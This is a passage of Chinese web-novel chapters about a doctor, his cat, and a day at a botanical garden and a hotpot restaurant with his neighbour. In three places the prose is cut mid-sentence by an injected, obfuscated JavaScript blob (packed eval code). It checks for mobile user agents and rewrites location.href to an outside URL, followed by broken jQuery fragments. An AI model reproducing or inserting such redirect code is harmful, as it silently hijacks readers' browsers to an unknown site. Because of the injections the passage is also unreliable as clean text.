前台护士显然认识周桨鸣,笑着打招呼:“来接小叮当啦?精神头可好了!”
周桨鸣点点头,脚步明显加快。
隔着玻璃,黄转青一眼就看到了那个熟悉的肥猫。
小叮当比之前瘦了点,正舔着自己的爪子。看到周桨鸣走近,它立刻站起。
护士打开笼门,周桨鸣弯腰,动作算不上多温柔但很稳当地把猫抱了出来。
小叮当把头往他怀里拱,爪子扒着他的T恤前襟,开始装模作样的叫。
“行了行了,别嚎。”
周桨鸣嘴上嫌弃,手却稳稳地托着猫肥硕的屁股,另一只手在它
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190014|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下巴处揉了几下。
黄转青伸出手指碰了碰小叮当的脑门。
猫转过头,湿漉漉的鼻子嗅了嗅她的指尖,大概是认出了这个人类,用脑袋蹭了蹭她的手心,软乎乎的。
周桨鸣装猫进包。这猫贼得很,明白这是要出院。根本用不着费劲,猫包的拉链拉开,它自己就钻了进去。
回程路上,车厢里多了个乘客,黄转青就没坐副驾,在后座上陪着小叮当。
把猫押送回1713,小叮当duang一声跳到地板上。
周桨鸣把药袋放在玄关柜上,换了鞋走向阳台。让黄转青也过来看。黄转青只好跟着。
阳台不大,但朝南。
那盆土人参几个月不见,早已脱胎换骨。
茎秆粗壮挺拔,整个植株郁郁葱葱,长得泼辣又精神!
周桨鸣用下巴点了点那盆土人参,语气平淡,但仔细听藏着炫耀语气:“我说了,养得挺好。”
黄转青走近。
“的确养得好。”她由衷赞叹。
“也是它自己争气。”
这时候倒是装的好像这茂盛跟他一点关系都没有了。
小叮当在地板上巡逻,黄转青蹲在阳台门边,对着那肥猫嘬嘬嘬地逗弄。
周桨鸣站在客厅中央,似乎觉得完成了展示土人参的任务,也没其它话说,便转身朝一个房间走去。
黄转青心思虽还在猫上,但这毕竟是别人家,她下意识就也跟着屋子的主人往那个房间走。
她们是同一栋楼,但户型完全不一样。
周桨鸣家是个二室一厅,正走着的那个位置是主卧,可黄转青不清楚。
她心不在焉但脚步没停。
房间门没关,周桨鸣也不可能猜得到黄转青就这么跟过来。
她刚走到门口,目光毫无遮挡地投进去——周桨鸣正把身上那件T恤从后领口一把拽过头顶,动作利落。
在那紧实的腰侧偏上一点,靠近肋骨下方,有一大片淤青。
黄转青吓一跳,什么非礼勿视全抛到了九霄云外,一步就跨进了房间。
“周桨鸣,你肚子怎么了?”
周桨鸣还在脱呢!还没脱完呢!衣服正好盖住了他的头!他真服了啊!
这一嗓子把周桨鸣吓得浑身一激灵。
他赶紧一把把衣服从头上扯下来,然后迅速转过身,动作快得带起一阵风。
抓起刚脱下来还攥在手里的T恤,手忙脚乱就往自己赤裸的上半身捂,动作仓促。
“你流氓啊?进门不知道敲门?!出去!”
黄转青哪儿还管他骂什么流氓不流氓。
那片淤青在她脑子里放大,看着就疼。
她不仅没退出去,反而往前又凑了半步,追问:“你肚子怎么了?怎么弄的?你跟人打架了?”
周桨鸣被她这油盐不进还步步紧逼的架势,搞得额角的青筋都跳了一下。
这个流氓怎么完全不按套路出牌?
撞见别人换衣服不该尖叫着捂眼跑开吗?
她站得稳稳当当,目光炯炯!
这下显得他自己捂着衣服的样子格外局促!
真搞笑啊!这可是他自己家!他的地盘啊!
周桨鸣深吸一口气,装作不尴尬,但眼神明显有些飘忽。
他不敢跟这恶人对视。
嘴唇动了动,想编个什么高大上的理由,比如见义勇为、与歹徒搏斗之类的。
但看着她那副表情,到嘴边的话又咽了回去。
憋了半天,来了一句:“还不是被你推的!”
14. 嗯嗯,明白
“还不是被你推的!”
现在换黄转青吓一跳,她像听到天方夜谭:“我什么时候推你了?你血口喷人啊你?”
她脑子里飞快地搜索,完全没搜索出来。
周桨鸣看她那副不可置信的样子,心里反而定了定神。
虽然耳根已经有红晕,但他努力让自己的表情显得理直气壮。
他带着铁证如山的控诉:“就上次楼梯转角,你不是一把推开我冲过去坐电梯的吗?那一下,好家伙。”
黄转青想起来了。
是有这么回事儿。
他站在消防门那儿挡着,黄转青确实情急之下推了他,可只有伸手推开他,自己才能走进去啊。
何况那一下,她自认就是很普通的力道,怎么可能把人推出这么大一片淤青?
这又不是拍武侠片。她又不是什么武林高手。
“我就那么推了一下你,”黄转青指着周桨鸣腰腹的位置,“就给你推成这样了?你碰瓷啊你?”
周桨鸣被她质疑得有点心虚,但戏已经开场,硬着头皮也得演下去。
他索性豁出去,语气斩钉截铁:“那可不。你以为呢?就你天天吭哧吭哧爬十九楼,这几个月下来,身体素质框框往上窜。那腿是腿,胳膊是胳膊的,你自己没感觉?”
周桨鸣不依不饶。
“你手劲儿现在可太吓人了。我告诉你,我这还算是体格好的,换个弱点的,指不定让你推死了!”
……………………
黄转青活了快23年,23年来最大之震撼就在此刻。
周桨鸣这番话说得振振有词,逻辑似乎也自洽——爬楼锻炼了力量,情急之下“失手伤人”,配合着他那副憋屈表情,真有几分唬人。
黄转青看着他,眉头紧锁。
理智告诉她,这太扯淡。她对自己的力气还是有数的,别说推一下,就是用力捶一拳,也不至于搞出这么大一片吓人淤青。
且周桨鸣看着瘦,可刚才她也看到那身板了,明显是很结实的,哪有那么脆弱?
但她转念一想,周桨鸣这人虽然嘴欠,但好像确实没什么必要在这种事上骗她。图什么呢?
讹她医药费?不至于。
博取同情?更不像他的风格。
难道真的是自己不知不觉中神功大成,成了隐藏的大力士而不自知?
还是说周桨鸣其实有什么隐疾,轻轻磕碰就特别容易淤青?
看着周桨鸣捂着衣服,一脸事实如此你爱信不信的委屈样,黄转青心里的天平莫名地偏了偏。
算了,不管是因为自己神力还是他脆弱,那片淤青是真的,看着也确实疼。
而且不管怎么说,自己当时的确是推了那一下,这一点上她理亏。
“好吧。”黄转青的气势泄下去,“对不起啊。我不是故意的。当时没想那么多,没想到手劲儿……”她顿了顿,实在说不出“那么大”三个字,含糊带过,“给你推成这样。很疼吧?”
周桨鸣看她真信了,还道歉,心里那点得意差点没绷住。
赶紧压下上扬的嘴角,努力维持受害者应有的、带着点宽容的姿态。
他清了清嗓子,故作大方地摆摆手:“算了算了。知道你不是故意的就行。我这人心胸……嗯,还算宽阔,不跟你计较。”
刻意把宽阔两个字说得一字一顿,仿佛这是他极大的美德。
他一边说着,一边从衣柜里抽出件干净衣服,迅速遮住那片罪证。
衣服穿好,安全感仿佛也回来了,又恢复了那副欠揍样。
“对了,明天你不是要去国家植物园吗?正好,我明天也要过去那边办点事。一块儿呗?”
黄转青还沉浸在自己可能是个隐藏大力士的荒谬中,一时没反应过来:“啊?你也去?”
“嗯。”周桨鸣点点头,目光飘向客厅里正试图扒拉垃圾桶盖的小叮当,假装很忙地呵斥了一声,“小叮当!那不能动!”然后才转回头,“顺路。省得你吭哧吭哧挤地铁。”
黄转青眼睛一亮!
的确!公交地铁得倒腾一个多小时,要是能蹭周桨鸣的车,那简直是意外之喜。她脸上立刻堆起笑容,带着点讨好的试探:“原来是坐你的车去呀?”
周桨鸣眉毛高高挑起:“合着就是看上了拿我当免费司机啊?”
黄转青有点尴尬地嘿嘿笑了两声。
周桨鸣故意板着脸,像是在做一个多么艰难的决定,最后才勉为其难地点点头:“行吧。”
“太好了!谢谢周医生!”黄转青眉开眼笑。
“别谢太早,”周桨鸣指了指客厅里那只对垃圾桶盖子发起新一轮攻势的肥猫,“现在,麻烦大力士同志,先帮我把这老祖宗从垃圾桶旁边拎走,行吗?”
黄转青:……
大力士这个梗是过不去了是吧!
第二天黄转青换上了一身轻便透气的衣裤,脚踩舒服的运动鞋,背上装着一点小零食的双肩包,精神抖擞地下楼。
周桨鸣在驾驶座等着,已经提前把空调开好了。
他也换了身休闲装,头发有几缕不听话地垂在额前,倒是多了点青春感。
“你这样子看起来好年轻啊。”黄转青感慨。
“你要是不会说话可以不说……”
“那你到底多大啊?”黄转青系好安全带,还是没放过他。
“我十八岁啊。”
“不可能吧!”黄转青目瞪口呆。
周桨鸣被黄转青的目瞪口呆伤得体无完肤,一时之间什么都不想说了。
“你身份证给我看看。”黄转青伸手。
“你有病吧!你是要跟我结婚吗现在在这查我!”周桨鸣翻了个白眼。
“……你有病吧!”黄转青也翻了个白眼。
周末的早上,道路还算通畅。
周桨鸣开车和他的人一样,其实挺沉稳,不疾不徐。
黄转青看着窗外飞驰而过的街景,心情雀跃。
拿出手机,又确认了一遍植物园的门票预约。
“周桨鸣,”她忽然想起什么,转头问,“你待会儿去植物园办什么事啊?要很久吗?要是时间短,我可以在门口等你,完事儿了咱们再一起回来?”
周桨鸣:……
窗外绿意渐渐浓重。
周桨鸣看了眼日期,突然问了句:“你月经来了吗?”
虽然不知道他为什么这么问,但黄转青还是回答了:“没来。怎么了?”
“你上上个月是前天来的吧。上个月来了吗?”
黄转青明白了,医生的职业病又犯了。
“放心吧,上个月来了,这个月应该也快了。哪儿有那么准时啊,能来我就已经谢天谢地了。”
“嗯。”周桨鸣应了一声。
八月底的天,阳光像火。
幸好头天夜里下过一场透雨,洗刷了暑气,好歹能压住一点点灼人的燥热。
车子刚在植物园停车场停稳,黄转青就迫不及待地解开安全带,推门跳下车。
“你去忙你的事吧,不用管我!”她转头对刚熄火下车的周桨鸣说,语气轻快,带着点甩开包袱的解脱。
周桨鸣没应声,锁好车,几步就跟上了她,朝检票口走去。
黄转青脚步一顿,诧异地扭头看他:“你不是有事吗?跟着我干嘛?”
周桨鸣面无表情地掏出手机,点开二维码递给检票员扫描。
黄转青也打开自己的二维码,接着问:“你到底有什么事啊?”
周桨鸣眼睛都没斜一下,吐出两个字:“找妈。”
黄转青:“……”
行吧,这理由,天经地义,无可辩驳。
黄转青想起了自己破的案,有些得意:“你妈妈是不是在植物园工作?姓陈?”
“你真在偷偷查我啊?”周桨鸣这下是真的诧异。
“没特意查你,是我自己努力得来的。”
“跟查我的区别在于?”
“我都说了没查你!我查的是你妈妈!”
“?”
进了园子满目葱茏,花草灌木在各自园区里蓬勃生长,空气里浮动着层次丰富的芬芳。
黄转青眼睛都不够用了,更是没空再理会周桨鸣的追问。
她掏出手机咔嚓咔嚓拍个不停,嘴里时不时发出惊叹。
周桨鸣跟在她旁边,像个影子。
他对眼前的绿意盎然视若无睹,手指时不时在手机屏幕上点着。
他倒是真的没骗人,来这儿真的是找妈,现在在进行他的“找妈大业”。
“你看这个!”黄转青兴奋地指着一棵叶片巨大如蒲扇的植物,“这棕榈吗?叶子好霸气!”
问完她凑近旁边的标识牌,自问自答:“旅人蕉!名字也怪有意思的。”
周桨鸣头都没抬,敷衍地嗯了一声,眼睛还盯着毫无动静的微信聊天框——备注是“妈”。
穿过牡丹园,往日国色天香的花王们此刻只剩下叶片,在酷暑里沉默地积攒力量。芍药圃更是沉寂,连残枝败叶都被清理干净,只留下整齐的土垄静待来年。
周桨鸣看着黄转青的额角渗出的汗珠,从自己包里摸出冷敷喷雾,对着自己额头喷了两下,瞬间的冰凉让他一哆嗦,也引来黄转青回头一瞥。
“要吗?”周桨鸣问。
“要!”
黄转青乖乖走过来要拿,周桨鸣没给,对着她额头喷了几下,再塞到她手里。
黄转青撇撇嘴继续往前走。
绕过松柏,有溪流蜿蜒而下,两岸是水杉。
这些古老的孑遗植物撑开伞盖,浓密的枝叶在高处交织,把大部分阳光挡在了外面。温度降了好几度,空气变得湿润。
周桨鸣终于从手机里抬起头。
“你妈妈在植物园工作,你怎么对植物一窍不通啊?”黄转青纯粹是好奇,没带任何嘲讽。
“谁规定我妈干这个我就得懂?”说完,又低下头,要把妈从手机里戳出来。
黄转青耸耸肩,也懒得再理他。
道不同不相为谋,她乐得自己欣赏。
被栈道旁水域里的巨大圆盘吸引目光,是几株正值盛年的王莲。
浮水叶片边缘高高卷起,脉络粗壮清晰,水珠在叶面上滚动,聚散不定,有如预言。
黄转青拍得专注。
在她不断拍下各种植物的时候,旁边一直低头的周桨鸣,抬起了头。
他看着她整个人沐浴在绿意和光影里,很生动。
周桨鸣也举起了自己的手机,对准了那个身影,拍完他才反应过来自己在干什么。把手机屏幕按灭,仿佛做了什么亏心事,耳根发热。
他赶紧低头,继续给妈发信息轰炸。
又过了一会儿,就在周桨鸣快把“陈女士,你到底在哪儿?”复制粘贴到第十遍时,妈终于回应了他。
妈发来了一个定位,言简意赅:“速来。”
周桨鸣如蒙大赦,他看了一眼黄转青,犹豫了一下。要不要叫她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190015|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一起过去?
念头刚起就被他自己掐灭。算了,这也未免太奇怪了!
“我去找我妈。你先自己逛吧,一会儿微信联系。”
黄转青正在兴头上,头都没抬,挥了挥手:“你快去吧。拜拜!”
周桨鸣莫名有点堵,也顾不上细想,转身就朝着定位走。
甩掉了“拖油瓶”的黄转青,兴致更加高涨。
陈毓女士在南园的展览温室附近,连着一个工作苗圃,里面排列着许多育苗盘和盆栽。
她正拿着喷壶喷水,眉眼间依稀能看出周桨鸣的影子。
“妈。”周桨鸣走过去,喊了一声。
陈毓抬起头,看到儿子:“来啦?还挺快。”
周桨鸣来给他妈妈送上次送饭时落下的U盘。
陈女士好不容易才能想起来自己这个儿子,传达一下母爱,结果把工作文件落下了。感慨了好几天工作和儿子不可兼得。
周桨鸣想起来,那份充满母爱的饭被黄转青吃了。
他把U盘递过去,U盘上也有个蓝色标签。
周桨鸣跟陈女士交接完就准备走。
陈女士看着他:“回家?正好顺路帮我去北新桥那家糕点店排个队,再晚就卖完了。”
“买不了。”周桨鸣回答得干脆利落,“现在不回家。”
陈毓有些意外:“不回家?那你干嘛去?这大热天的。”
周桨鸣脸上没什么表情,语气也平淡:“逛逛植物园。”
“逛植物园?”陈毓这下是真的大感震惊,“你对这个又不感兴趣!从小带你来,你不是嫌热就是嫌蚊子多,要不就蹲角落打游戏。怎么突然转性了?到底怎么回事?”
她敏锐地嗅到了一丝不寻常的气息。
周桨鸣被他妈这连珠炮似的追问搞得有点烦。
一个两个的,怎么都这么爱刨根问底?
“没什么事,随便走走。”说完转身就要走。
“哎你等等!”陈毓赶紧叫住他,也没再追问原因,只是换了个话题,“小叮当出院没啊?你好久没给我发它照片了。赶紧发几张过来。”
这个要求很寻常,小叮当其实是陈女士的猫,只是从小到大是周桨鸣照顾他居多。后来周桨鸣买了套离医院近的房子,就从家里搬了出去。
搬之前,他看着小叮当,再看着自己那动不动好多天不回家、还到处出差的妈,就把猫也带走了。
周桨鸣划开相册。里面存了不少小叮当。
他选中几张最显它蠢的照片,发送给陈女士。
他没注意到,一张照片因为惯性滑动也跟着混进了发送队列——是刚才他鬼使神差拍下的黄转青。
周桨鸣发完也没看,问陈女士:“那我走了?”
陈女士低头一张张看着照片,嗯嗯嗯的应声,让他快滚。
周桨鸣临走,却被窗台上一盆生机勃勃的植物吸引。
花盆上贴着蓝色标签,写着陈毓的名字和电话,表明这应该不是公用财产。
“妈,这粉红色仙人球是你的吗?”周桨鸣走过去,指着那盆花,还是验证般问一下。
陈毓顺着他的手指看过去:“是啊。”
“送我吧,我喜欢。”
陈毓立刻摇头。
“你喜欢个锤子!你连丽花球是什么都不知道,在那儿粉色仙人球粉色仙人球的。”
周桨鸣被亲妈毫不留情地拆穿,有些尴尬,但很快恢复镇定。
“好的,丽花球。管它叫什么,挺好看的。妈,你送我吧。”
陈毓这回直接翻了个白眼:“你带回去也是扔窗台上自生自灭,最后养死了,我心疼我的花!不给!”
“那我买。”周桨鸣锲而不舍。
“不卖!”陈毓态度坚决。
周桨鸣被连番拒绝,只好掏出手机,调出相册里一张照片,得意洋洋地递到陈毓面前:“你看,这是我养的土人参。谁说我不会养,这不养挺好嘛!”
陈毓瞥了一眼,确实长得精神抖擞。
“土人参命硬,经得起你折腾。我的丽花球娇贵,你伺候不了。”
“怎么伺候不了?”
周桨鸣一看有门儿,立刻打蛇随棍上。
“我定期给你拍照片行不行,你监督我!一有情况,你一声令下,我立刻给你送回来。”
陈毓看着他难得流露出的一点执着,再想到这大热的天,儿子特意跑过来给她送U盘……叹了口气,终究是心软。
“行了行了,别在这儿贫了。拿去吧拿去吧。”
从旁边的柜子里拿出一个专用袋,装好递过去,还不忘叮嘱:“轻拿轻放!别暴晒……”
“知道了知道了。”
周桨鸣接过袋子转身就走,生怕他妈反悔。
“哎!你……”
陈毓不解,他什么时候对植物这么上心了?
很快她就解出来了。
在周桨鸣已经找到黄转青之后,陈女士圈出了那张黄转青的照片,问儿子:“我就说你怎么今天对植物感兴趣。这是陪我儿媳?”
周桨鸣看着那黄澄澄的笑脸和儿媳二字,眼前一黑。
“不是,手滑,路人甲,看猫。”
陈女士秒回。
没有文字,只有一个表情包。
一个胖乎乎的小人,眯着眼,旁边配着四个大字:嗯嗯,明白。
周桨鸣按熄了手机屏幕,塞回裤兜里。
这植物园的空气,怎么突然变得这么闷热!
15. 不吃就出去
黄转青从奇趣植物区里出来,又钻进荫生植物区,复又惦记起奇趣植物区内部小区域——食虫植物馆里的毛毡苔。
那些红色触手她忘了拍。
觉得对以后游戏里画怪物会有帮助,她抬脚就要往回折。
回头看了眼,周桨鸣依旧跟在她身后几步远的地方。
他显然对这无穷无尽的绿色探险兴趣缺缺,甚至可能觉得有点无聊和……饿。
但既没有抱怨热或者饿,也没不耐烦催促该离开,更没有甩下她自己找个地方待着,或者干脆打道回府。
周桨鸣一直就那么不远不近地跟。
黄转青停下来拍多久照片,画多久速写,他就等多久。
还时不时扇个风递个水,给黄转青照顾得明明白白。
黄转青对于自己一开始觉得他是拖油瓶的想法,在心里大批特批——人在某些时候甚至无法共情曾经的自己,并且要对曾经的自己恶语相向!
总之,周桨鸣这份沉默的“不离不弃”,让黄转青心里点过意不去。
“你拿的什么?”黄转青好奇地问。
“没什么,一点土特产。”周桨鸣含糊其辞。
想应该是他妈妈交代给他的东西,黄转青也不再问。
她折返找到那几株宝贝,好一阵拍照、端详。
蹲下在速写本上勾勒了几笔花序的动态。
周桨鸣靠在旁边,仰头看着支离破碎的天空。
黄转青手机里塞满植物照,速写本上也添了不少潦草却生动的线条。
总算心满意足。
兴奋感退潮,饥饿感立刻涨潮。
她这才惊觉,午饭时间早过了!
两个人就在这儿从上午十点逛到下午三点。
她对周桨鸣露出一个带着歉意的笑容。
“饿坏了吧?走,我请你吃饭!今天辛苦你了。”
周桨鸣终于等到了这句话,眼神从虚无的天空聚焦回来,落在她脸上。
没客气也不推辞,只是点了点头:“行。”
两人走出植物园大门,与园内的清凉差异不小。
坐进车里,空调冷风一吹,黄转青感觉自己像穿越了一样。
系好安全带,等着周桨鸣发动车子。
周桨鸣却没立刻开车,只划拉着地图。
片刻后,方向盘一打,朝着另一个方向驶去。
“去哪儿吃啊?”黄转青好奇地问。
“北新桥。”周桨鸣目视前方。
“北新桥?那边你有什么想吃的吗?”
“过去看看再说。”
车子穿过越来越繁华的街巷,最后停在北新桥附近。
周桨鸣熄了火,但没下车。
他把之前放在后座地上的那盆丽花球拎起来,提到黄转青面前。
“给你的。先验货再下车。”
“给我的?”
黄转青惊讶地抽了张纸巾擦擦手,再郑重地打开。
“丽花球!是火焰。”
小心翼翼把花盆捧出来,凑近了看。
“真是名如其花,像燃烧的火焰。”
周桨鸣没辜负陈女士的评价,完全听不懂,也理解不了。
不理解,但看她喜欢,他也高兴。就跟着点点头。
“这花你哪儿来的?”黄转青看完花又看他。
“路过看到的,觉你应该会喜欢。”这就是所答非所问了。
黄转青已经看到了那张蓝色标签,将蓝色标签转到自己的这边,仔细看了下确认是陈毓地名字和电话。
又问:“是你妈妈给你的?”
“对。”
她就不再问。再往下问那是母子之间的事情,她是外人,她也不想了解。
总之她白得了盆花,高兴。
开心地收下了土特产:“谢谢你,也替我谢谢你妈妈!”
“不客气,记得定期给我拍拍照。我妈想看。”
“没问题。”
验完货,二人下车。
黄转青满心疑惑。
周桨鸣按照地图走到一家店,门口排着不算短的队伍。
回头对黄转青说了句:“你在边上找个凉快地方等着吧。”
然后自己排进了队伍里。
黄转青等在旁边,蹭着店里吹出来的空调,踮起脚往前看,周桨鸣在排的是一家点心铺。
她觉得好意外,周桨鸣爱吃点心啊?
排了约莫二十分钟,周桨鸣拎着两个纸袋走出来。
“你不吃饭吗?光吃点心?”黄转青问。
“去旁边找一家火锅店吃火锅吧。”
周桨鸣说得随意,黄转青倒是很惊喜:“好啊好啊!”
她想吃火锅想吃好几天了!
二人找了个靠窗的角落位置坐下,点好锅底和菜品。
热腾腾的红油锅底翻滚,模糊彼此的眉眼。
黄转青饿得前胸贴后背,先涮了片毛肚压压惊。
手机没锁屏,放在边上,赫然是一张卷柏照片。
“你这么喜欢植物,怎么没想着去当个植物插画师?”周桨鸣问得也并不突兀。
“——咳咳咳!”
黄转青被呛得眼泪都出来,灌了一口酸梅汤,隔着雾气看周桨鸣。
“你怎么知道我有这个打算啊?邢频也这么建议过我,好巧。”
“邢频?谁?”问完周桨鸣想起来了,是那个话剧团咋咋呼呼的姑娘。
黄转青感觉这世界有点玄幻,“还有汪蓝,我同事,她也建议过。你们的想法好一致。”
“我妈提过一嘴,现在缺科普向植物插画师。要求细节真实,特征突出,还得有美感,能让人一眼记住是什么植物。门槛不低。”
这时候,店里的工作人员端着一个托盘过来,笑眯眯地说:“二位,店里活动,送两杯招牌奶茶,冰的。”
黄转青正捧着她那杯冰镇酸梅汤喝得浑身舒坦,实在没一点空隙给甜腻的奶茶。
她摆摆手:“谢谢啊,不用了,我这酸梅汤还没喝完呢。”
“没事儿,反正是送的,您现在喝不下一会儿还可以打包带走。我给您放这儿了。”
服务员把两杯杯壁沁着水珠的奶茶放在了桌上。
周桨鸣瞥了一眼,伸手拿过自己面前那杯,吸管戳破封口膜,低头喝了好几口,才接着说:“先了解了解,然后去试试呗,你肯定能行。”
“你觉得我肯定能行?”
黄转青没看过这样的周桨鸣,怎么这人爱喝点小甜水?
但暂时不管这个事,现在她被这句话砸倒,筷子都忘了动。
她看着周桨鸣,那双眼睛里没有玩笑也没有客套。
很认真。
这种信任毫无预兆地撞进她心里。
信任从何而来?
她们认识不算久,甚至大部分时间都在互相刻薄。
他凭什么敢给出这样的认真和信任?
周桨鸣看出她的疑惑,像在剖析一个简单的病理。
“你爬楼梯那么坚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190016|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持不懈。来月经了都要爬。就这个轴劲儿,这么能吃苦,干什么都能成。”
说完一句刻薄的,再补一句真心:“何况你是真心喜欢那些植物,没什么比这更重要了。天时地利人和,有什么不行的?”
黄转青想起自己来到北京后的点点滴滴。
虞鱼的热情和善良,汪蓝的鼓励和提议,邢频给她机会时的肯定,孟知春的欣赏和直白,还有眼前这个嘴欠得要死的周桨鸣在此刻抛出的这份信任。
没有打压,没有质疑你行不行,一个又一个人,都只有一句又一句的“你肯定行”、“你能行”、“试试看”。
这些肯定像一块块坚实的砖石,在她脚下铺就了一条越来越自信的路。
她不再觉得自己是那个埋头苦干不知前路的人。
她找到了自己真正热爱的东西,并且,被这么多人相信着,她能把它做好。
黄转青被激得都有点感动,眼眶微微发热。
低下头用筷子搅动着油碟里的肥牛,脱口而出:“小林说得对。我来北京真的来对了。”
“小林?”周桨鸣警觉,潜意识告诉他,这个小林有蹊跷!
他放下筷子,抬起眼:“小林是谁?”
黄转青还沉浸在被肯定包围的感动情绪里,没察觉周桨鸣语气的变化。
脸上还带着点感慨笑意,大大方方地说:“我前男友啊。”
“呵。”周桨鸣往后靠进椅背,双臂环抱在胸前,眼神瞬间冷了下来,就那么冷冷看着黄转青。
黄转青被他这突如其来的“呵”搞得莫名其妙:“怎么啦?”
周桨鸣没说话,僵持了几秒,又把环抱的手臂放下,重新拿起了筷子。
语气干巴巴:“没事啊。很好啊。祝你们长长久久呗!”
长长久久四个字,被他说得阴阳怪气。
“我都说了是前——男友。前。长长久久个屁啊,你是不是耳朵有问题?”
“前男友?”周桨鸣刚刚拿起的筷子,又放回了碟子上,讽刺的笑又回来,“那你这么念念不忘,旧情难忘?那祝你们破镜重圆呗?”
黄转青一头雾水。都什么跟什么。
她懒得跟他废话。
抄起漏勺,给自己碗里捞肉,嘴里也跟机关枪似的:“不可能。我早就不喜欢他了。”
“不喜欢了?”周桨鸣抓住了她话里的关键,又拿起了筷子,“那你突然提他干什么?”
“提他是因为当初我要离开厦门来北京,他是唯一一个支持我的。仅此而已。你脑子里整天都在想些什么乱七八糟的。”黄转青咂舌。
周桨鸣又把筷子放下了,还没开口,被黄转青截住。
“你到底吃不吃?吃就好好吃,不吃就出去。别在这儿叭叭叭地倒我胃口!”
周桨鸣被劈头盖脸的一顿呛,想反驳什么,但在黄转青虎视眈眈的目光下,忍气吞声低下头。
避开黄转青的视线,又把筷子拿起来了。
“吃。”
然后就真的埋头,一声不吭地开吃。
黄转青看他终于消停,也懒得再搭理。
周桨鸣很快把自己那杯冰奶茶喝完,空杯子往旁边一推。
再把黄转青面前那杯没动过的奶茶捞过来。
黄转青啧啧称奇:“真是看不出来,你怎么这么爱喝奶茶啊?你不嫌腻?”
她以为像周桨鸣这种医生,应该很养生,对奶茶兴趣缺缺才对。
“因为我十八。”
黄转青:……
16. 路人甲
周桨鸣把车停稳,两人下车。
黄转青背上她的双肩包,拎着白得的花。
周桨鸣则拎着两个点心袋。
走到单元门口,周桨鸣拿出手机看消息。
黄转青听到身后传来吸气声,回头看了一眼,周桨鸣正把手机锁屏,脸上没什么表情,但嘴角向下。
“怎么了?”黄转青随口问了一句,脚步没停。
“没什么。”周桨鸣声音闷闷的,快走几步跟了上来,和她并排走着,“我妈的消息。”
“哦。”黄转青了然。
黄转青的了然当然是假了然,她又不清楚发生了什么。
但她也不想问,只能糊弄糊弄了然一下。
在火锅店外时,周桨鸣拍了张手里两个纸袋的照片,发给陈女士。
“买了。”
陈女士的消息过来:“儿子养着还是有点用的嘛!明天正好要去你们医院查个卵巢,顺道去你办公室拿。正好另一份我带给王阿姨,你小时候她还抱过你呢。”
周桨鸣嘴角抽了抽:“只有一份是你的。”
“那另一份是谁的?你又不爱吃这个,你不是就爱喝点奶茶吗?”
“你别管。”
“懂了懂了。给路人甲的?”
“……”
黄转青率先走进昏暗的楼道。
爬楼梯对她来说已是家常便饭,她蹬蹬蹬往上窜。
楼道里很安静,只有两人错落的脚步声。
周桨鸣跟在后面,起初还行,脚步轻快。
爬到十楼左右,周桨鸣的呼吸声明显不再轻松。
黄转青转头看他,带着揶揄:“周医生,这才十楼呢!平常不健身的吗?你这体力不太行啊!”
“我这个工作强度,要是再健身,不如直接嘎嘣死。”他没好气,“骨科医生做手术跟健身也没区别。“
“为什么?”黄转青是真好奇。
“因为骨科手术就是抡大锤,敲钉子,力气活。”
他做了个虚握锤子向下砸的动作。
“抡大锤?”
黄转青脑子里浮现出周桨鸣穿着手术服戴着头套,抡着个巨大铁锤哐哐砸骨头的画面。
跟她想象中的精密手术场景差距有点大。
她一直以为手术都是拿着小刀小剪子,在无影灯下精雕细琢。
“行吧,你厉害。”
黄转青继续往上爬。
心里琢磨着,下次见到虞鱼和汪蓝要分享这个知识。
总算爬到十七楼。
黄转青停下脚步对着周桨鸣挥挥手:“行啦,我到了……哦不对,你到了。拜拜!今天谢谢你。”
她指的是蹭车和陪逛。
周桨鸣也站定,气息还有些不均匀,点点头算是回应。
看了看手里拎着的两个点心袋,拿出一个递向黄转青。
黄转青没推辞,想着他既然买了两份,估计就是一份自己吃一份顺手给她。
“谢谢啊。”她掂了掂,沉甸甸的。
“嗯。”周桨鸣应了一声。
黄转青抱着点心冲他又说了声“拜拜”,然后继续往上爬最后两层。
一回到家,黄转青就坐在门口的地板上。
搜索:植物插画师、科普插画、植物科学绘画、行业前景、如何入门等等。
关键词如种子,信息如沃土。
结出了一串——专业的植物插画工作室介绍、国内外知名的植物图谱、线上课程推荐、行业大咖的访谈、甚至还有植物插画比赛的征稿启事。
她点开一个介绍植物科学绘画历史的链接,看着那些每一个细节都纤毫毕现的画作,这是科学与艺术的联姻。
这场婚礼撞得她有点晕。
退出浏览器,又点开手机相册。
今天在植物园拍的上百张照片,看得入迷。
身体是累的,精神却像被点燃。
她沉浸在一张花瓣结构时,周桨鸣的消息发过来。
